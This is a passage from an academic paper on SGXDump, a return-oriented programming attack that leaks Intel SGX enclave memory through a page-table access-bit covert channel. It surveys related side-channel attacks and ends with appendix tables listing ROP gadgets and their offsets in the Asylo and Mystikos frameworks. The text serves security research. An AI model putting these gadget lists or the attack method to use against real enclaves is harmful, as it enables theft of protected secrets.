2-level predictors in the directional predictor for recording whether previous branch in-
structions are carried out. They generate intentional collisions with the directional predictor
in the same physical core to disclose the result of executed branch instructions. Lee et al.
presented the branch shadowing [40] technique that abuses the branch prediction unit by
using the shadow code, which is aligned with the victim code in the enclave. After running
the victim code, an attacker runs the shadow code and measures the elapsed clock cycles.
Based on this measurement, the attacker infers whether the executed branch instruction in
the victim enclave has been taken or not.

Cache timing measurement attacks are traditional, but still useful side-channel attacks.
With this approach, the main task of the attacker is to measure the elapsed latency when
accessing the target memory. MemJam [36] exploits the false dependencies of memory
read-after-write events in the same physical core. A CPU reads memory with a virtual
address, but the L1 cache tags its contents with the physical address. Therefore, when
several processes access the memory with the same virtual address in the same physical
core, the L1 cache cannot determine if this access is a hit or a miss ahead of the address
translation. MemJam measures this address translation latency in order to disclose the
target memory contents.

MicroScope [41], Stacco [42], and SGX-Step [13] were proposed as useful frameworks
assisting side-channel attacks against enclaves. For example, CopyCat [9], Nemesis [43],
and Single Trace [12] observe the single-stepping trace from a victim enclave on top of
SGX-Step [13].

The overall structure of SGXDump is analogous to that of Foreshadow [10]. These
have three similar components: a secret reference code, reference buffer, and PTE properties.
In both approaches, the secret reference code dereferences the enclave memory and accesses
an element in an array of 256 (4 KB) pages. The secret value is used to decide which element
of the reference buffer is referenced. After access to the element, both detect changes in a
PTE property (i.e., the access bit and the present bit). The key difference is how the secret
reference code is created. In SGXDump, we create the secret reference code, i.e., the ROP
payload using ROP gadgets that reside in the enclave, whereas Foreshadow uses small
code snippets outside the enclave to execute transient instructions.
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Table 4. Comparison of the side-channel attacks against Intel SGX.

Attacks Victim Data Acquisition Channel Noise Root Privilege Granularity Attack Precondition

SGXDump Code and data PTE’s access bit No Yes 1 Byte Binary code,
overflow vulnerabilities

Foreshadow Code and data PTE’s present bit,
Cache timing

Yes No (mprotect) 1 Byte Secrets
in the L1 cache

CopyCat Control flow APIC timer manipulation,
the number of executed instruction

Yes Yes
(Loadable kernel module
for APIC event call back)

Instruction (Compiled)
source code

Nemesis Control flow APIC timer manipulation,
Interrupt latency

Yes Yes Instruction
within one cache line

(Compiled)
source code

MemJam Data

4K Aliasing,
False dependency of

memory read-after-write event,
Cache line timing

Yes Yes Word or
cache line

Virtual memory offset
of critical data

Single Trace RSA key
generation code

PTE’s present bit No Yes
(SGX-Step)

Page (Compiled)
source code

Off-Limits Control flow,
one instruction

Segmentation and paging No Yes Page (Compiled)
source code,

only 32-bit mode
BranchScope Control flow Pattern history table Yes Yes Instruction Virtual address

of victim’s code
Bluethunder Control flow Global history register Yes Yes Instruction (Compiled)

source code

Branch shadowing Control flow Branch prediction Yes (Unconditional)
No (Conditional and indirect)

Yes Instruction (Compiled)
source code
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Unlike the aforementioned side channel attacks used against Intel SGX, SGXDump
leverages the PTE’s access bit as a covert channel. This is because SGXDump requires a spe-
cific way (e.g., software vulnerabilities) to leak the enclave’s memory via a covert channel.
For example, SGXDump exploits a stack overflow vulnerability to inject its ROP payload
and executes the ROP gadgets to disclose the enclave’s contents through a PTE-based covert
channel to prove our ROP payload is well working. Even though there is a limitation in
that a target enclave must contain vulnerabilities to run the ROP gadgets, SGXDump has
the advantage of being able to nullify side channel attack countermeasures [44]. Previous
research into other attacks has [14,45] also relied on software vulnerabilities.

Intel SGX can effectively prevent illegal memory access and code injection attacks.
Since it provides such secure execution environment even when an attacker has full control
of the OS, it has become widely adopted [5]. Owing to this growing popularity, attackers
are starting to pay more attention to compromising SGX enclaves via the code-reuse attack.

Before constructing the payload for the ROP attack, it is generally necessary to statically
analyze the binary to obtain the address of the gadget required for the payload. However,
this method has the disadvantage that it is not possible to obtain the address of the gadget
if the binary is encrypted or access to the binary is prohibited. In Dark-ROP [14], they
proposed a method to find the gadget necessary for ROP attack by using the leaf function
of SGX when the enclave is encrypted.

In order to perform an ROP attack, a memory vulnerability is required to inject the
attack payload because it could not overwrite the return address with an ROP payload.
For this, the memory layout of the victim process is analyzed through a large number of
code probing, and in the case of SGX, the root privilege is necessary. Such code probing
provides an opportunity for the victim process to detect the attack and sometimes causes
the victim process to crash and terminate unexpectedly. In [21], the authors proposed a
novel method for an ROP attack without a root privilege and a crash by using ORET and
CONT instructions of enclave. The instructions are used when a context switch happens
from a kernel context to an enclave context after the kernel handled an exception occurring
inside the enclave. They also minimized the crash of victim processes by inserting fake
stacks into the switched context. A similar approach was used in [22].

In [23], the authors injected the ROP payload using the re-entry vulnerability of AEX.
When an exception occurs in the enclave, the SGX enabled processor exits the enclave by
using Asynchronous Enclave Exit (AEX). At this time, if the value of the register is left as it
is, an attacker can leak the value of the register of the process being executed in the enclave,
so AEX saves the value of the current register in the State Save Area (SSA) before exiting
the enclave and replaces the registers with synthetic values. After handling the exception,
SSA is used to restore the context before re-entering the enclave. The authors demonstrated
that by manipulating the SSA at this time, it is possible to inject an ROP payload without a
memory vulnerability. Through this attack, they were able to exfiltrate the enclave’s data
through memcpy.

8. Conclusions

In this paper, we proposed an ROP payload that can loop inside the payload by using
gadgets in the enclave. To demonstrate the effectiveness of our method, we implemented
a SGXDump that can extract an enclave’s entire memory. Once a memory corruption
vulnerability is found in a target SGX application, an SGXDump ROP payload can be
injected. Its main role is to read bytes from enclave memory and access pages of a probe
array in which we use those bytes’ values as indexes. Meanwhile, a previously installed
kernel module, the PAM (Probe Array Monitor), keeps monitoring the change of access bits
of the probe array’s page table. When a change occurs, the PAM determines an index of the
page and easily converts the index into the value stored in enclave memory. The attacker
can easily retrieve leaked data from the kernel module through network, file, or proc file
systems, as demonstrated in our study.

The important conclusions from this work are the following: First, this study demon-
strated that enclave memory can be leaked rather easily when the SGX application has a
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memory corruption vulnerability. This contradicts the general belief that SGX’s abilities
to disallow illegal memory accesses and to prevent injected code from running cannot
mitigate the SGX application’s memory corruption vulnerability problem. Second, we
devised an ROP attack that can loop inside the payload by using gadgets in the enclave.
In most cases, once the ROP payload is injected, the gadget’s control flow is executed
sequentially. However, we successfully implemented the conditional statement by using
gadgets of the enclave so that our attack payload can communicate with the outside or
execute other attack payload.

Finally, we presented a rather complicated return-oriented programming attack to
retrieve the enclave’s entire memory. Since it is considered to be hard to construct an ROP
payload for complex tasks, people often use ROP attacks for simple but critical operations
such as escalating privilege, disarming security mechanism, or calling a desired function.
However, we used ROP as the main attack method; the synchronization, data extraction,
and loops are implemented through ROP. This does not leave any system logs about
security-related configuration changes and function calls, thus making the SGXDump
attack more stealthy. We hope the detailed ROP code in this paper will be of great benefit
to researchers who are interested in ROP attacks on SGX.

We are trying to build other attack payloads that can utilize a different hardware
resource as a communication medium. Since the kernel module can monitor any hardware,
we believe that there will be better options than using the page table’s access bit.
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Appendix A. Gadget List in Open Source Project.

Table A1. Gadget list in Asylo.

Gadgets Offset

add bl, byte ptr [rcx]; lfence; call rax 0x1b440b
add rcx, rdi; mov rdi, rcx; call rax 0x28ab7f
inc dword ptr [rdx]; ret 0xa6970e
mov qword ptr [rax], rdx; ret 0x828401
mov rax, qword ptr [rax]; ret 0x828392
mov rax, rdi; ret 0x7e4d50
mov rdi, qword ptr [rax]; lfence; call rbx 0x67fb63
mov rdi, rax; call rbx 0x050b50
nop; ret 0x009b68
pop rax; ret 0x009ac0
pop rbx; ret 0x404ddc
pop rcx; ret 0x075bdd
pop rdi; ret 0x20d413
pop rdx; ret 0x07735c
pop rsp; ret 0x40da1d
sal ebx, cl; ret 0x2e8e39
sub esp, dword ptr [rdx − 0x76b80000]; ret 0x7b6eef
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Table A2. Gadget list in Mystikos.

Gadgets Offset

add al, byte ptr [rax]; add byte ptr [rbx + 0x5d], bl; ret 0x036de3
add rax, qword ptr [rcx − 0x77]; retf 0x139285
inc dword ptr [rcx − 0x77]; ret 0x027143
jmp rax 0x027f2b
mov dword ptr [rdi + rdx − 0x27], eax; mov rax, rdi; ret 0x0b4310
mov eax, edi; ret 0x0b4315
mov qword ptr [rax], rdx; ret 0x828401
mov rdi, qword ptr [rax]; lfence; call rbx 0x67fb63
nop; ret 0x009b68
pop rax; ret 0x108665
pop rax; ret 0x009ac0
pop rbx; ret 0x03475d
pop rcx; or eax, dword ptr [rax]; leave; ret 0x0136eb
pop rdi; ret 0x034401
pop rdx; add byte ptr [rdx], cl; add cl, cl; ret 0x028fd2
pop rsp; ret 0x40da1d
shl edi, cl; add byte ptr [rax], al; lfence; call rax 0x3ea393
sub rax, rcx; ret 0x1bda72
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